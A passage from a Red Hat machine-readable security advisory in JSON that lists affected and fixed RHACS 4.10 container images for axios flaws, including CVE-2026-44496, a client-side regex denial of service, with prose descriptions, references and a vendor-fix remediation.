"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure due to prototype pollution vulnerability"
},
{
"cve": "CVE-2026-44496",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-06-11T17:01:15.856386+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487943"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in Axios can lead to a client-side Denial of Service. An attacker capable of influencing the XSRF cookie name within a browser environment could trigger excessive regular expression processing, causing the affected browser tab to freeze and degrade user availability. This issue specifically impacts browser-based applications and does not affect Node.js HTTP adapter usage, React Native, or web workers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "RHBZ#2487943",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487943"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
}
],
"release_date": "2026-06-11T15:34:28.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
